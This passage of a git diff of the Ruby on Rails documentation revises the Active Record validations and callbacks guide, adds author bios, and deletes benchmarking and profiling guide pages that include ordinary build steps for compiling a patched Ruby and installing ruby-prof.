[source, ruby]
------------------------------------------------------------------
@@ -317,13 +330,27 @@ class Coffee < ActiveRecord::Base
end
------------------------------------------------------------------
+=== The +:allow_blank+ option
+
+The +:allow_blank: option is similar to the +:allow_nil+ option. This option will let validation pass if the attribute's value is +nil+ or an empty string, i.e., any value that returns +true+ for +blank?+.
+
+[source, ruby]
+------------------------------------------------------------------
+class Topic < ActiveRecord::Base
+ validates_length_of :title, :is => 5, :allow_blank => true
+end
+
+Topic.create("title" => "").valid? # => true
+Topic.create("title" => nil).valid? # => true
+------------------------------------------------------------------
+
=== The +:message+ option
-As stated before, the +:message+ option lets you specify the message that will be added to the +errors+ collection when validation fails. When this option is not used, Active Record will use the respective default error message for each validation helper.
+As you've already seen, the +:message+ option lets you specify the message that will be added to the +errors+ collection when validation fails. When this option is not used, Active Record will use the respective default error message for each validation helper, together with the attribute name.
=== The +:on+ option
-As stated before, the +:on+ option lets you specify when the validation should happen. The default behaviour for all the built-in validation helpers is to be ran on save (both when you're creating a new record and when you're updating it). If you want to change it, you can use +:on =$$>$$ :create+ to run the validation only when a new record is created or +:on =$$>$$ :update+ to run the validation only when a record is updated.
+The +:on+ option lets you specify when the validation should happen. The default behavior for all the built-in validation helpers is to be ran on save (both when you're creating a new record and when you're updating it). If you want to change it, you can use +:on =$$>$$ :create+ to run the validation only when a new record is created or +:on =$$>$$ :update+ to run the validation only when a record is updated.
[source, ruby]
------------------------------------------------------------------
@@ -334,7 +361,7 @@ class Person < ActiveRecord::Base
# => it will be possible to create the record with a 'non-numerical age'
validates_numericality_of :age, :on => :update
- # => the default
+ # => the default (validates on both create and update)
validates_presence_of :name, :on => :save
end
------------------------------------------------------------------
@@ -345,7 +372,7 @@ Sometimes it will make sense to validate an object just when a given predicate i
=== Using a symbol with the +:if+ and +:unless+ options
-You can associated the +:if+ and +:unless+ options with a symbol corresponding to the name of a method that will get called right before validation happens. This is the most commonly used option.
+You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a method that will get called right before validation happens. This is the most commonly used option.
[source, ruby]
------------------------------------------------------------------
@@ -383,19 +410,7 @@ end
== Writing your own validation methods
-When the built-in validation helpers are not enough for your needs, you can write your own validation methods, by implementing one or more of the +validate+, +validate_on_create+ or +validate_on_update+ methods. As the names of the methods states, the right method to implement depends on when you want the validations to be ran. The meaning of valid is still the same: to make an object invalid you just need to add a message to it's +errors+ collection.
-
-[source, ruby]
-------------------------------------------------------------------
-class Invoice < ActiveRecord::Base
- def validate_on_create
- errors.add(:expiration_date, "can't be in the past") if
- !expiration_date.blank? and expiration_date < Date.today
- end
-end
-------------------------------------------------------------------
-
-If your validation rules are too complicated and you want to break them in small methods, you can implement all of them and call one of +validate+, +validate_on_create+ or +validate_on_update+ methods, passing it the symbols for the methods' names.
+When the built-in validation helpers are not enough for your needs, you can write your own validation methods. You can do that by implementing methods that verify the state of your models and add messages to their +errors+ collection when they are invalid. You must then register those methods by using one or more of the +validate+, +validate_on_create+ or +validate_on_update+ class methods, passing in the symbols for the validation methods' names. You can pass more than one symbol for each class method and the respective validations will be ran in the same order as they were registered.
[source, ruby]
------------------------------------------------------------------
@@ -415,7 +430,34 @@ class Invoice < ActiveRecord::Base
end
------------------------------------------------------------------
-== Using the +errors+ collection
+You can even create your own validation helpers and reuse them in several different models. Here is an example where we create a custom validation helper to validate the format of fields that represent email addresses:
+
+[source, ruby]
+------------------------------------------------------------------
+module ActiveRecord
+ module Validations
+ module ClassMethods
+ def validates_email_format_of(value)
+ validates_format_of value,
+ :with => /\A[\w\._%-]+@[\w\.-]+\.[a-zA-Z]{2,4}\z/,
+ :if => Proc.new { |u| !u.email.blank? },
+ :message => "Invalid format for email address"
+ end
+ end
+ end
+end
+------------------------------------------------------------------
+
+The recipe is simple: just create a new validation method inside the +ActiveRecord::Validations::ClassMethods+ module. You can put this code in a file inside your application's *lib* folder, and then requiring it from your *environment.rb* or any other file inside *config/initializers*. You can use this helper like this:
+
+[source, ruby]
+------------------------------------------------------------------
+class Person < ActiveRecord::Base
+ validates_email_format_of :email_address
+end
+------------------------------------------------------------------
+
+== Manipulating the +errors+ collection
You can do more than just call +valid?+ upon your objects based on the existance of the +errors+ collection. Here is a list of the other available methods that you can use to manipulate errors or ask for an object's state.
@@ -498,35 +540,100 @@ p.errors.on(:name)
# => ["can't be blank", "is too short (minimum is 3 characters)"]
------------------------------------------------------------------
-== Callbacks
+== Using the +errors+ collection in your view templates
-Callbacks are methods that get called at certain moments of an object's lifecycle. With callbacks it's possible to write code that will run whenever an Active Record object is created, saved, updated, deleted or loaded from the database.
+Rails provides built-in helpers to display the error messages of your models in your view templates. When creating a form with the form_for helper, you can use the error_messages method on the form builder to render all failed validation messages for the current model instance.
-=== Callbacks registration
+[source, ruby]
+------------------------------------------------------------------
+class Product < ActiveRecord::Base
+ validates_presence_of :description, :value
+ validates_numericality_of :value, :allow_nil => true
+end
+------------------------------------------------------------------
+
+------------------------------------------------------------------
+<% form_for(@product) do |f| %>
+ <%= f.error_messages %>
+ <p>
+ <%= f.label :description %><br />
+ <%= f.text_field :description %>
+ </p>
+ <p>
+ <%= f.label :value %><br />
+ <%= f.text_field :value %>
+ </p>
+ <p>
+ <%= f.submit "Create" %>
+ </p>
+<% end %>
+------------------------------------------------------------------
+
+image::images/error_messages.png[Error messages]
+
+You can also use the +error_messages_for+ helper to display the error messages of a model assigned to a view template. It's very similar to the previous example and will achieve exactly the same result.
+
+------------------------------------------------------------------
+<%= error_messages_for :product %>
+------------------------------------------------------------------
+
+The displayed text for each error message will always be formed by the capitalized name of the attribute that holds the error, followed by the error message itself.
+
+Both the +form.error_messages+ and the +error_messages_for+ helpers accept options that let you customize the +div+ element that holds the messages, changing the header text, the message below the header text and the tag used for the element that defines the header.
+
+------------------------------------------------------------------
+<%= f.error_messages :header_message => "Invalid product!",
+ :message => "You'll need to fix the following fields:",
+ :header_tag => :h3 %>
+------------------------------------------------------------------
+
+Which results in the following content
+
+image::images/customized_error_messages.png[Customized error messages]
+
+If you pass +nil+ to any of these options, it will get rid of the respective section of the +div+.
+
+It's also possible to change the CSS classes used by the +error_messages+ helper. These classes are automatically defined at the *scaffold.css* file, generated by the scaffold script. If you're not using scaffolding, you can still define those CSS classes at your CSS files. Here is a list of the default CSS classes.
-In order to use the available callbacks, you need to registrate them. There are two ways of doing that.
+* +.fieldWithErrors+ - Style for the form fields with errors.
+* +#errorExplanation+ - Style for the +div+ element with the error messages.
+* +#errorExplanation h2+ - Style for the header of the +div+ element.
+* +#errorExplanation p+ - Style for the paragraph that holds the message that appears right below the header of the +div+ element.
+* +#errorExplanation ul li+ - Style for the list of error messages.
-=== Registering callbacks by overriding the callback methods
+=== Changing the way form fields with errors are displayed
-You can specify the callback method directly, by overriding it. Let's see how it works using the +before_validation+ callback, which will surprisingly run right before any validation is done.
+By default, form fields with errors are displayed enclosed by a +div+ element with the +fieldWithErrors+ CSS class. However, we can write some Ruby code to override the way Rails treats those fields by default. Here is a simple example where we change the Rails behaviour to always display the error messages in front of each of the form fields with errors. The error messages will be enclosed by a +span+ element with a +validation-error+ CSS class. There will be no +div+ element enclosing the +input+ element, so we get rid of that red border around the text field. You can use the +validation-error+ CSS class to style it anyway you want.
[source, ruby]
------------------------------------------------------------------
-class User < ActiveRecord::Base
- validates_presence_of :login, :email
-
- protected
- def before_validation
- if self.login.nil?
- self.login = email unless email.blank?
- end
+ActionView::Base.field_error_proc = Proc.new do |html_tag, instance|
+ if instance.error_message.kind_of?(Array)
+ %(#{html_tag}<span class='validation-error'>&nbsp;
+ #{instance.error_message.join(',')}</span>)
+ else
+ %(#{html_tag}<span class='validation-error'>&nbsp;
+ #{instance.error_message}</span>)
end
end
------------------------------------------------------------------
-=== Registering callbacks by using macro-style class methods
+This will result in something like the following content:
+
+image::images/validation_error_messages.png[Validation error messages]
+
+The way form fields with errors are treated is defined by the +ActionView::Base.field_error_proc+ Ruby Proc. This Proc receives two parameters:
-The other way you can register a callback method is by implementing it as an ordinary method, and then using a macro-style class method to register it as a callback. The last example could be written like that:
+* A string with the HTML tag
+* An object of the +ActionView::Helpers::InstanceTag+ class.
+
+== Callbacks
+
+Callbacks are methods that get called at certain moments of an object's lifecycle. With callbacks it's possible to write code that will run whenever an Active Record object is created, saved, updated, deleted or loaded from the database.
+
+=== Callbacks registration
+
+In order to use the available callbacks, you need to registrate them. You can do that by implementing them as an ordinary methods, and then using a macro-style class method to register then as callbacks.
[source, ruby]
------------------------------------------------------------------
@@ -555,12 +662,57 @@ class User < ActiveRecord::Base
end
------------------------------------------------------------------
-In Rails, the preferred way of registering callbacks is by using macro-style class methods. The main advantages of using macro-style class methods are:
+CAUTION: Remember to always declare the callback methods as being protected or private. These methods should never be public, otherwise it will be possible to call them from code outside the model, violating object encapsulation and exposing implementation details.
-* You can add more than one method for each type of callback. Those methods will be queued for execution at the same order they were registered.
-* Readability, since your callback declarations will live at the beggining of your models' files.
+== Conditional callbacks
-CAUTION: Remember to always declare the callback methods as being protected or private. These methods should never be public, otherwise it will be possible to call them from code outside the model, violating object encapsulation and exposing implementation details.
+Like in validations, we can also make our callbacks conditional, calling then only when a given predicate is satisfied. You can do that by using the +:if+ and +:unless+ options, which can take a symbol, a string or a Ruby Proc. You may use the +:if+ option when you want to specify when the callback *should* get called. If you want to specify when the callback *should not* be called, then you may use the +:unless+ option.
+
+=== Using a symbol with the +:if+ and +:unless+ options
+
+You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a method that will get called right before the callback. If this method returns +false+ the callback won't be executed. This is the most common option. Using this form of registration it's also possible to register several different methods that should be called to check the if the callback should be executed.
+
+[source, ruby]
+------------------------------------------------------------------
+class Order < ActiveRecord::Base
+ before_save :normalize_card_number, :if => :paid_with_card?
+end
+------------------------------------------------------------------
+
+=== Using a string with the +:if+ and +:unless+ options
+
+You can also use a string that will be evaluated using +:eval+ and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition.
+
+[source, ruby]
+------------------------------------------------------------------
+class Order < ActiveRecord::Base
+ before_save :normalize_card_number, :if => "paid_with_card?"
+end
+------------------------------------------------------------------
+
+=== Using a Proc object with the +:if+ and :+unless+ options
+
+Finally, it's possible to associate +:if+ and +:unless+ with a Ruby Proc object. This option is best suited when writing short validation methods, usually one-liners.
+
+[source, ruby]
+------------------------------------------------------------------
+class Order < ActiveRecord::Base
+ before_save :normalize_card_number,
+ :if => Proc.new { |order| order.paid_with_card? }
+end
+------------------------------------------------------------------
+
+=== Multiple Conditions for Callbacks
+
+When writing conditional callbacks, it's possible to mix both +:if+ and +:unless+ in the same callback declaration.
+
+[source, ruby]
+------------------------------------------------------------------
+class Comment < ActiveRecord::Base
+ after_create :send_email_to_author, :if => :author_wants_emails?,
+ :unless => Proc.new { |comment| comment.post.ignore_comments? }
+end
+------------------------------------------------------------------
== Available callbacks
@@ -608,7 +760,7 @@ The +after_initialize+ and +after_find+ callbacks are a bit different from the o
== Halting Execution
-As you start registering new callbacks for your models, they will be queued for execution. This queue will include all your model's validations, the registered callbacks and the database operation to be executed. However, if at any moment one of the +before_create+, +before_save+, +before_update+ or +before_destroy+ callback methods returns a boolean +false+ (not +nil+) value, this execution chain will be halted and the desired operation will not complete: your model will not get persisted in the database, or your records will not get deleted and so on.
+As you start registering new callbacks for your models, they will be queued for execution. This queue will include all your model's validations, the registered callbacks and the database operation to be executed. However, if at any moment one of the +before_create+, +before_save+, +before_update+ or +before_destroy+ callback methods returns a boolean +false+ (not +nil+) value or raise and exception, this execution chain will be halted and the desired operation will not complete: your model will not get persisted in the database, or your records will not get deleted and so on. It's because the whole callback chain is wrapped in a transaction, so raising an exception or returning +false+ fires a database ROLLBACK.
== Callback classes
@@ -658,13 +810,13 @@ You can declare as many callbacks as you want inside your callback classes.
== Observers
-Active Record callbacks are a powerful feature, but they can pollute your model implementation with code that's not directly related to the model's purpose. In object-oriented software, it's always a good idea to design your classes with a single responsability in the whole system. For example, it wouldn't make much sense to have a +User+ model with a method that writes data about a login attempt to a log file. Whenever you're using callbacks to write code that's not directly related to your model class purposes, it may be a good moment to create an Observer.
+Active Record callbacks are a powerful feature, but they can pollute your model implementation with code that's not directly related to the model's purpose. In object-oriented software, it's always a good idea to design your classes with a single responsibility in the whole system. For example, it wouldn't make much sense to have a +User+ model with a method that writes data about a login attempt to a log file. Whenever you're using callbacks to write code that's not directly related to your model class purposes, it may be a good moment to create an Observer.
-An Active Record Observer is an object that links itself to a model and register it's methods for callbacks. Your model's implementation remain clean, while you can reuse the code in the Observer to add behaviuor to more than one model class. Ok, you may say that we can also do that using callback classes, but it would still force us to add code to our model's implementation.
+An Active Record Observer is an object that links itself to a model and registers its methods for callbacks. Your model's implementation remains clean, while you can reuse the code in the Observer to add behaviour to more than one model class. OK, you may say that we can also do that using callback classes, but it would still force us to add code to our model's implementation.
-Observer classes are subclasses of the +ActiveRecord::Observer+ class. When this class is subclassed, Active Record will look at the name of the new class and then strip the 'Observer' part to find the name of the Active Record class to observe.
+Observer classes are subclasses of the ActiveRecord::Observer class. When this class is subclassed, Active Record will look at the name of the new class and then strip the 'Observer' part to find the name of the Active Record class to observe.
-Consider a +Registration+ model, where we want to send an email everytime a new registration is created. Since sending emails is not directly related to our model's purpose, we could create an Observer to do just that:
+Consider a Registration model, where we want to send an email every time a new registration is created. Since sending emails is not directly related to our model's purpose, we could create an Observer to do just that:
[source, ruby]
------------------------------------------------------------------
@@ -688,7 +840,7 @@ end
=== Registering observers
-If you payed attention, you may be wondering where Active Record Observers are referenced in our applications, so they get instantiate and begin to interact with our models. For observers to work we need to register them somewhere. The usual place to do that is in our application's *config/environment.rb* file. In this file there is a commented out line where we can define the observers that our application should load at start-up.
+If you paid attention, you may be wondering where Active Record Observers are referenced in our applications, so they get instantiated and begin to interact with our models. For observers to work we need to register them somewhere. The usual place to do that is in our application's *config/environment.rb* file. In this file there is a commented-out line where we can define the observers that our application should load at start-up.
[source, ruby]
------------------------------------------------------------------
@@ -706,4 +858,6 @@ By convention, you should always save your observers' source files inside *app/m
== Changelog
-http://rails.lighthouseapp.com/projects/16213/tickets/26-active-record-validations-and-callbacks
+http://rails.lighthouseapp.com/projects/16213/tickets/26-active-record-validations-and-callbacks[Lighthouse ticket]
+
+January 9, 2009: Initial version by http://guides.rails.info/authors.html#cmarques[Cássio Marques]
diff --git a/railties/doc/guides/source/authors.txt b/railties/doc/guides/source/authors.txt
index 987238eb4c..d4862fe4b9 100644
--- a/railties/doc/guides/source/authors.txt
+++ b/railties/doc/guides/source/authors.txt
@@ -43,3 +43,15 @@ and unobtrusive JavaScript. His home on the internet is his blog http://tore.dar
***********************************************************
Jeff Dean is a software engineer with http://pivotallabs.com/[Pivotal Labs].
***********************************************************
+
+.Cássio Marques
+[[cmarques]]
+***********************************************************
+Cássio Marques is a Brazilian software developer working with different programming languages such as Ruby, JavaScript, C++ and Java, as an independent consultant. He blogs at http://cassiomarques.wordpress.com, which is mainly written in portuguese, but will soon get a new section for posts with english translation.
+***********************************************************
+
+.Pratik Naik
+[[lifo]]
+***********************************************************
+Pratik Naik is an independent Ruby on Rails consultant and also a member of the http://rubyonrails.com/core[Rails core team]. He blogs semi-regularly at http://m.onkey.org[has_many :bugs, :through => :rails] and has an active http://twitter.com/lifo[twitter account] .
+***********************************************************
diff --git a/railties/doc/guides/source/benchmarking_and_profiling/appendix.txt b/railties/doc/guides/source/benchmarking_and_profiling/appendix.txt
deleted file mode 100644
index 8e2e383ff3..0000000000
--- a/railties/doc/guides/source/benchmarking_and_profiling/appendix.txt
+++ /dev/null
@@ -1,95 +0,0 @@
-== Other Profiling Tools ==
-
-There are a lot of great profiling tools out there. Some free, some not so free. This is a sort list detailing some of them.
-
-=== httperf ===
-http://www.hpl.hp.com/research/linux/httperf/[http://www.hpl.hp.com/research/linux/httperf/]
-
-A necessary tool in your arsenal. Very useful for load testing your website.
-
-#TODO write and link to a short article on how to use httperf. Anybody have a good tutorial availble.
-
-
-=== Rails Analyzer ===
-
-The Rails Analyzer project contains a collection of tools for Rails. It's open source and pretty speedy. It's not being actively worked on but is still contains some very useful tools.
-
-* The Production Log Analyzer examines Rails log files and gives back a report. It also includes action_grep which will give you all log results for a particular action.
-
-* The Action Profiler similar to Ruby-Prof profiler.
-
-* rails_stat which gives a live counter of requests per second of a running Rails app.
-
-* The SQL Dependency Grapher allows you to visualize the frequency of table dependencies in a Rails application.
-
-Their project homepage can be found at http://rails-analyzer.rubyforge.org/[http://rails-analyzer.rubyforge.org/]
-
-The one major caveat is that it needs your log to be in a different format from how rails sets it up specifically SyslogLogger.
-
-
-==== SyslogLogger ====
-
-SyslogLogger is a Logger work-alike that logs via syslog instead of to a file. You can add SyslogLogger to your Rails production environment to aggregate logs between multiple machines.
-
-More information can be found out at http://rails-analyzer.rubyforge.org/hacks/classes/SyslogLogger.html[http://rails-analyzer.rubyforge.org/hacks/classes/SyslogLogger.html]
-
-If you don't have access to your machines root system or just want something a bit easier to implement there is also a module developed by Geoffrey Grosenbach
-
-==== A Hodel 3000 Compliant Logger for the Rest of Us ====
-
-Directions taken from
-http://topfunky.net/svn/plugins/hodel_3000_compliant_logger/lib/hodel_3000_compliant_logger.rb[link to module file]
-
-Just put the module in your lib directory and add this to your environment.rb in it's config portion.
-
-------------------------------------------------------------
-require 'hodel_3000_compliant_logger'
-config.logger = Hodel3000CompliantLogger.new(config.log_path)
--------------------------------------------------------------
-
-It's that simple. Your log output on restart should look like this.
-
-.Hodel 3000 Example
-----------------------------------------------------------------------------
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
-Parameters: {"action"=>"shipping", "controller"=>"checkout"}
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
-[4;36;1mBook Columns (0.003155) SHOW FIELDS FROM `books`
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
-[4;35;1mBook Load (0.000881) SELECT * FROM `books` WHERE (`books`.`id` = 1 AND (`books`.`sold` = 1)) 
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
-[4;36;1mShippingAddress Columns (0.002683) SHOW FIELDS FROM `shipping_addresses`
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
-[4;35;1mBook Load (0.000362) SELECT ounces FROM `books` WHERE (`books`.`id` = 1) 
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
-Rendering template within layouts/application
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
-Rendering checkout/shipping
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
-[4;36;1mBook Load (0.000548) SELECT * FROM `books`
-WHERE (sold = 0) LIMIT 3
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
-[4;35;1mAuthor Columns (0.002571) SHOW FIELDS FROM `authors`
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
-Author Load (0.000811) SELECT * FROM `authors` WHERE (`authors`.`id` = 1) 
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
-Rendered store/_new_books (0.01358)
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
-Completed in 0.37297 (2 reqs/sec) | Rendering: 0.02971 (7%) | DB: 0.01697 (4%) | 200 OK [https://secure.jeffbooks/checkout/shipping]
-----------------------------------------------------------------------------
-
-=== Palmist ===
-An open source mysql query analyzer. Full featured and easy to work with. Also requires Hodel 3000
-http://www.flyingmachinestudios.com/projects/[http://www.flyingmachinestudios.com/projects/]
-
-=== New Relic ===
-http://www.newrelic.com/[http://www.newrelic.com/]
-
-Pretty nifty performance tools, pricey though. They do have a basic free
-service both for when in development and when you put your application into production. Very simple installation and signup.
-
-#TODO more in-depth without being like an advertisement.
-
-==== Manage ====
-
-Like new relic a production monitoring tool.
diff --git a/railties/doc/guides/source/benchmarking_and_profiling/digging_deeper.txt b/railties/doc/guides/source/benchmarking_and_profiling/digging_deeper.txt
deleted file mode 100644
index fe22fba078..0000000000
--- a/railties/doc/guides/source/benchmarking_and_profiling/digging_deeper.txt
+++ /dev/null
@@ -1,105 +0,0 @@
-== Real Life Example ==
-=== The setup ===
-
-So I have been building this application for the last month and feel pretty good about the ruby code. I'm readying it for beta testers when I discover to my shock that with less then twenty people it starts to crash. It's a pretty simple Ecommerce site so I'm very confused by what I'm seeing. On running looking through my log files I find to my shock that the lowest time for a page run is running around 240 ms. My database finds aren't the problems so I'm lost as to what is happening to cause all this. Lets run a benchmark.
-
-
-[source, ruby]
-----------------------------------------------------------------------------
-class HomepageTest < ActionController::PerformanceTest
- # Replace this with your real tests.
- def test_homepage
- get '/'
- end
-end
-----------------------------------------------------------------------------
-
-.Output
-----------------------------------------------------------------------------
-HomepageTest#test_homepage (115 ms warmup)
- process_time: 591 ms
- memory: 3052.90 KB
- objects: 59471
-----------------------------------------------------------------------------
-
-
-
-Obviously something is very very wrong here. 3052.90 Kb to load my minimal homepage. For Comparison for another site running well I get this for my homepage test.
-
-.Default
-----------------------------------------------------------------------------
-HomepageTest#test_homepage (19 ms warmup)
- process_time: 26 ms
- memory: 298.79 KB
- objects: 1917
-----------------------------------------------------------------------------
-
-that over a factor of ten difference. Lets look at our flat process time file to see if anything pops out at us.
-
-.Process time
-----------------------------------------------------------------------------
-20.73 0.39 0.12 0.00 0.27 420 Pathname#cleanpath_aggressive
-17.07 0.14 0.10 0.00 0.04 3186 Pathname#chop_basename
- 6.47 0.06 0.04 0.00 0.02 6571 Kernel#===
- 5.04 0.06 0.03 0.00 0.03 840 Pathname#initialize
- 5.03 0.05 0.03 0.00 0.02 4 ERB::Compiler::ExplicitScanner#scan
- 4.51 0.03 0.03 0.00 0.00 9504 String#==
- 2.94 0.46 0.02 0.00 0.44 1393 String#gsub
- 2.66 0.09 0.02 0.00 0.07 480 Array#each
- 2.46 0.01 0.01 0.00 0.00 3606 Regexp#to_s
-----------------------------------------------------------------------------
-
-Yes indeed we seem to have found the problem. Pathname#cleanpath_aggressive is taking nearly a quarter our process time and Pathname#chop_basename another 17%. From here I do a few more benchmarks to make sure that these processes are slowing down the other pages. They are so now I know what I must do. *If we can get rid of or shorten these processes we can make our pages run much quicker*.
-
-Now both of these are main ruby processes so are goal right now is to find out what other process is calling them. Glancing at our Graph file I see that #cleanpath is calling #cleanpath_aggressive. #cleanpath is being called by String#gsub and from there some html template errors. But my page seems to be rendering fine. why would it be calling template errors. I'm decide to check my object flat file to see if I can find any more information.
-
-.Objects Created
-----------------------------------------------------------------------------
-20.74 34800.00 12324.00 0.00 22476.00 420 Pathname#cleanpath_aggressive
-16.79 18696.00 9978.00 0.00 8718.00 3186 Pathname#chop_basename
-11.47 13197.00 6813.00 0.00 6384.00 480 Array#each
- 8.51 41964.00 5059.00 0.00 36905.00 1386 String#gsub
- 6.07 3606.00 3606.00 0.00 0.00 3606 Regexp#to_s
-----------------------------------------------------------------------------
-
-nope nothing new here. Lets look at memory usage
-
-.Memory Consuption
-----------------------------------------------------------------------------
- 40.17 1706.80 1223.70 0.00 483.10 3186 Pathname#chop_basename
- 14.92 454.47 454.47 0.00 0.00 3606 Regexp#to_s
- 7.09 2381.36 215.99 0.00 2165.37 1386 String#gsub
- 5.08 231.19 154.73 0.00 76.46 420 Pathname#prepend_prefix
- 2.34 71.35 71.35 0.00 0.00 1265 String#initialize_copy
-----------------------------------------------------------------------------
-
-Ok so it seems Regexp#to_s is the second costliest process. At this point I try to figure out what could be calling a regular expression cause I very rarely use them. Going over my standard layout I discover at the top.
-
-
-[source, html]
-----------------------------------------------------------------------------
-<%if request.env["HTTP_USER_AGENT"].match(/Opera/)%>
-<%= stylesheet_link_tag "opera" %>
-<% end %>
-----------------------------------------------------------------------------
-
-That's wrong. I mistakenly am using a search function for a simple compare function. Lets fix that.
-
-
-[source, html]
-----------------------------------------------------------------------------
-<%if request.env["HTTP_USER_AGENT"] =~ /Opera/%>
-<%= stylesheet_link_tag "opera" %>
-<% end %>
-----------------------------------------------------------------------------
-
-I'll now try my test again.
-
-----------------------------------------------------------------------------
-process_time: 75 ms
- memory: 519.95 KB
- objects: 6537
-----------------------------------------------------------------------------
-
-Much better. The problem has been solved. Now I should have realized earlier due to the String#gsub that my problem had to be with reqexp serch function but such knowledge comes with time. Looking through the mass output data is a skill.
-
diff --git a/railties/doc/guides/source/benchmarking_and_profiling/edge_rails_features.txt b/railties/doc/guides/source/benchmarking_and_profiling/edge_rails_features.txt
deleted file mode 100644
index 765a1e2120..0000000000
--- a/railties/doc/guides/source/benchmarking_and_profiling/edge_rails_features.txt
+++ /dev/null
@@ -1,185 +0,0 @@
-== Performance Testing Built into Rails ==
-
-As of June 20, 2008 edge rails has had a new type of Unit test geared towards profiling. Of course like most great things, getting it working takes bit of work. The test relies on statistics gathered from the Garbage Collection that isn't readily available from standard compiled ruby. There is a patch located at http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch[http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch]
-
-Also the test requires a new version of Ruby-Prof version of 0.6.1. It is not readily available at the moment and can most easily be found as a tarball on github. It's repository is located at git://github.com/jeremy/ruby-prof.git.
-
-What follows is a description of how to set up an alternative ruby install to use these features
-
-=== Compiling the Interpreter ===
-
-
-[source, shell]
-----------------------------------------------------------------------------
-[User ~]$ mkdir rubygc
-[User ~]$ wget ftp://ftp.ruby-lang.org/pub/ruby/1.8/ruby-1.8.6-p111.tar.gz
-[User ~]$ tar -xzvf ruby-1.8.6-p111.tar.gz
-[User ~]$ cd ruby-1.8.6-p111
-[User ruby-1.8.6-p111]$ curl http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch | patch -p0
-
-#I like putting my alternative ruby builds in an opt directory, set the prefix to where ever you feel is most comfortable.
-
-[User ruby-1.8.6-p111]$ ./configure --prefix=/opt/rubygc
-[User ruby-1.8.6-p111]$ sudo make && make install
-----------------------------------------------------------------------------
-
-Add the following lines in your \~/.profile or \~/.bash\_login for convenience.
-
-----------------------------------------------------------------------------
-alias gcruby='/opt/rubygc/rubygc/bin/ruby'
-alias gcrake='/opt/rubygc/rubygc/bin/rake'
-alias gcgem='/opt/rubygc/rubygc/bin/gem'
-alias gcirb=/opt/rubygc/rubygc/bin/irb'
-alias gcrails='/opt/rubygc/rubygc/bin/rails'
-----------------------------------------------------------------------------
-
-=== Installing RubyGems ===
-
-Next we need to install rubygems and rails so that we can use the interpreter properly.
-
-
-[source, shell]
-----------------------------------------------------------------------------
-[User ~]$ wget http://rubyforge.org/frs/download.php/38646/rubygems-1.2.0.tgz
-[User ~]$ tar -xzvf rubygems-1.2.0.tgz
-[User ~]$ cd rubygems-1.2.0
-[User rubygems-1.2.0]$ gcruby setup.rb
-[User rubygems-1.2.0]$ cd ~
-[User ~]$ gcgem install rake
-[User ~]$ gcgem install mysql
-[User ~]$ gcgem install rails
-----------------------------------------------------------------------------
-
-If installing mysql gem fails ( like it did for me ), you will have to manually install it :
-
-[source, shell]
-----------------------------------------------------------------------------
-[User ~]$ cd /Users/lifo/rubygc/lib/ruby/gems/1.8/gems/mysql-2.7/
-[User mysql-2.7]$ gcruby extconf.rb --with-mysql-config
-[User mysql-2.7]$ make && make install
-----------------------------------------------------------------------------
-
-=== Installing Jeremy Kemper's ruby-prof ===
-
-We are in the home stretch. All we need now is ruby-proff 0.6.1
-
-
-[source, shell]
-----------------------------------------------------------------------------
-[User ~]$ git clone git://github.com/jeremy/ruby-prof.git
-[User ~]$ cd ruby-prof/
-[User ruby-prof (master)]$ gcrake gem
-[User ruby-prof (master)]$ gcgem install pkg/ruby-prof-0.6.1.gem
-----------------------------------------------------------------------------
-
-Finished, go get yourself a power drink!
-
-=== Ok so I lied, a few more things we need to do ===
-
-You have everything we need to start profiling through rails Unit Testing. Unfortunately we are still missing a few files. I'm going to do the next step on a fresh Rails app, but it will work just as well on developmental 2.1 rails application.
-
-==== The Rails App ====
-
-First I need to generate a rail app
-
-[source, shell]
-----------------------------------------------------------------------------
-[User ~]$ gcrails profiling_tester -d mysql
-[User ~]$ cd profiling_tester
-[User profiling_tester]$ script/generate scaffold item name:string
-[User profiling_tester]$ gcrake db:create:all
-[User profiling_tester]$ gcrake db:migrate
-[User profiling_tester (master)]$ rm public/index.html
-----------------------------------------------------------------------------
-
-Now I'm going to init it as a git repository and add edge rails as a submodule to it.
-
-[source, shell]
-----------------------------------------------------------------------------
-[User profiling_tester]$ git init
-[User profiling_tester (master)]$ git submodule add git://github.com/rails/rails.git vendor/rails
-----------------------------------------------------------------------------
-
-Finally we want to change config.cache_classes to true in our environment.rb
-
-----------------------------------------------------------------------------
-config.cache_classes = true
-----------------------------------------------------------------------------
-
-If we don't cache classes, then the time Rails spends reloading and compiling our models and controllers will confound our results. Obviously we will try to make our test setup as similar as possible to our production environment.
-
-=== Generating and Fixing the tests ===
-
-Ok next we need to generate the test script.
-
-[source, shell]
-----------------------------------------------------------------------------
-[User profiling_tester (master)]$ script/generate performance_test homepage
-----------------------------------------------------------------------------
-
-This will generate _test/performance/homepage_test.rb_ for you. However, as I have generated the project using Rails 2.1 gem, we'll need to manually generate one more file before we can go ahead.
-
-We need to put the following inside _test/performance/test_helper.rb
-
-
-[source, ruby]
-----------------------------------------------------------------------------
-require 'test_helper'
-require 'performance_test_help'
-----------------------------------------------------------------------------
-
-Though this depends where you run your tests from and your system config. I myself run my tests from the Application root directory
-
-so instead of
-
-[source, ruby]
-----------------------------------------------------------------------------
-require 'test_helper'
-
-#I have
-
-require 'test/test_helper'
-----------------------------------------------------------------------------
-
-Also I needed to change homepage_test.rb to reflect this also
-
-[source, ruby]
